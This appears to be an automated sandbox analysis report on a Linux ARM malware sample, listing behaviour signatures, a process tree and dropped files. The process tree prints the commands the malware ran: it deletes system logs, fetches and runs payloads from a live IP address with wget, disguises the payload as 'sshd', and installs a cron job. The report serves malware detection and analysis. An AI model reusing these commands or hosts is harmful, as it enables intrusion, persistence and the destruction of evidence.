Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/07/2026, 12:38

General

  • Target
    ef009c3f28cde9de2aeaf52ac0545386ebb086bd2aae7f5a5b6dbda80f864557
  • Size 6KB
  • Sample260718-pt4essbw9k
  • SHA256 ef009c3f28cde9de2aeaf52ac0545386ebb086bd2aae7f5a5b6dbda80f864557
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Deletes log files 1 TTPs 3 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Write file to user bin folder 1 IoCs
  • Reads process memory 1 TTPs 46 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 1 IoCs
  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ef009c3f28cde9de2aeaf52ac0545386ebb086bd2aae7f5a5b6dbda80f864557
    /tmp/ef009c3f28cde9de2aeaf52ac0545386ebb086bd2aae7f5a5b6dbda80f864557
    1⤵
    • Executes dropped EXE
    PID:653
    • /usr/bin/head
      head -c 32 /dev/urandom
      2⤵
        PID:656
      • /usr/bin/head
        head -c 6
        2⤵
          PID:658
        • /usr/bin/tr
          tr -dc a-z
          2⤵
            PID:657
          • /bin/uname
            uname -m
            2⤵
              PID:660
            • /usr/bin/id
              id -u
              2⤵
                PID:662
              • /bin/rm
                rm -f /var/log/messages /var/log/syslog /var/log/auth.log /var/log/secure /var/log/wtmp
                2⤵
                • Deletes system logs
                • Deletes log files
                PID:665
              • /bin/rm
                rm -f "~/.bash_history"
                2⤵
                  PID:668
                • /usr/bin/pkill
                  pkill -9 -f "kworker-helper|dhcpcd-monitor|ntpd-sync|udevd-helper|syslogd-rotate|crond-helper|netlink-monitor|mdev-trigger|avahi-helper|dbus-monitor|logrotate-svc|tmpfiles-clean|resolved-helper|busybox-svc|dropbear-agent|iptables-helper|sysd"
                  2⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:671
                • /usr/bin/killall
                  killall -9 kworker-helper dhcpcd-monitor ntpd-sync udevd-helper syslogd-rotate crond-helper netlink-monitor mdev-trigger avahi-helper dbus-monitor logrotate-svc tmpfiles-clean resolved-helper busybox-svc dropbear-agent iptables-helper sysd
                  2⤵
                  • Reads runtime system information
                  PID:684
                • /usr/bin/wget
                  wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/zkrbtwag7o?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                  2⤵
                  • Writes file to tmp directory
                  PID:686
                • /bin/chmod
                  chmod +x z
                  2⤵
                  • File and Directory Permissions Modification
                  PID:706
                • /bin/mv
                  mv z sshd
                  2⤵
                  • Reads runtime system information
                  PID:707
                • /bin/sleep
                  sleep 1
                  2⤵
                    PID:711
                  • /tmp/sshd
                    ./sshd
                    2⤵
                    • Deletes itself
                    • Executes dropped EXE
                    • Write file to user bin folder
                    • Reads runtime system information
                    PID:710
                  • /bin/rm
                    rm -f sshd z
                    2⤵
                      PID:746
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/jc6g6x1vph?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:748
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/84aghucl1g?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:765
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/xcjygk37yu?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:787
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/9rkb4qtpm3?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:788
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/lhyrtqlndq?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:790
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/b7hovpz6ti?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:792
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/4jiz0v4h1r?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:793
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/mn42gxnolr?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:794
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/wpd1a29m25?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:795
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/f1yu71wyjd?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:796
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/ezidr3y5ct?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:797
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/qfighdyhbm?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:798
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/4vxlsuz00c?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:801
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/ksoilti7oi?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:802
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/7m0g9inf47?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:803
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/8260f4p5nk?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:804
                    • /usr/bin/wget
                      wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O z "http://168.220.248.106:9087/payload/a6i3khk75wgf/3aoq8phdv9?t=bb46a0d79f57b4f38493b997765ce28de5be4132eca7778c9f72958f64a773dd"
                      2⤵
                      • Writes file to tmp directory
                      PID:805
                  • /usr/sbin/systemd-logind
                    /usr/sbin/systemd-logind
                    1⤵
                    • Modifies systemd
                    • Reads process memory
                    • Changes its process name
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:713
                    • /bin/sh
                      sh -c "crontab -l 2>/dev/null"
                      2⤵
                        PID:724
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:725
                        • /bin/sh
                          sh -c "crontab /tmp/.tmp_d4c94fad 2>/dev/null"
                          2⤵
                            PID:728
                            • /usr/bin/crontab
                              crontab /tmp/.tmp_d4c94fad
                              3⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:729

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              z

                              • Path /tmp/z
                              • Size 296KB
                              • SHA256 96f926f634fe67a384d577612157472f7aae9db5c0651730dc9d98360b9e8766
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              z

                              • Path /tmp/z
                              • Size 8KB
                              • SHA256 c0c4dc5c489244e053739e7106f8399fd720400aa990734a372d9dd8f2ace441
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              z

                              • Path /tmp/z
                              • Size 320KB
                              • SHA256 ba3ebae65674a90f431f2d882a094f283c9c4409cd3caa406341017702b47fb1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              z

                              • Path /tmp/z
                              • Size 8KB
                              • SHA256 eb7de23d5b4bfe18d9630abe43af2ca9408d437cdfd2a8fbc5c4ff1849ffe360
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              z

                              • Path /tmp/z
                              • Size 276KB
                              • SHA256 9277739c0505884ed2447d27c8423fced2d56b3f89695b5c5afcac0aa723778e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              z

                              • Path /tmp/z
                              • Size 456KB
                              • SHA256 e4acf88ac030e3ac51a73fff6bd5f9cc6acc4540d57af0c9a706b6a513de5af2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              tmp.3tLPDu

                              • Path /var/spool/cron/crontabs/tmp.3tLPDu
                              • Size 240B
                              • SHA256 238593740564bab6f51e4b71cc9c1321c97b39bf2e8a117b09f4df44388317e9
                              • MD5 SHA1 SHA512 TLSH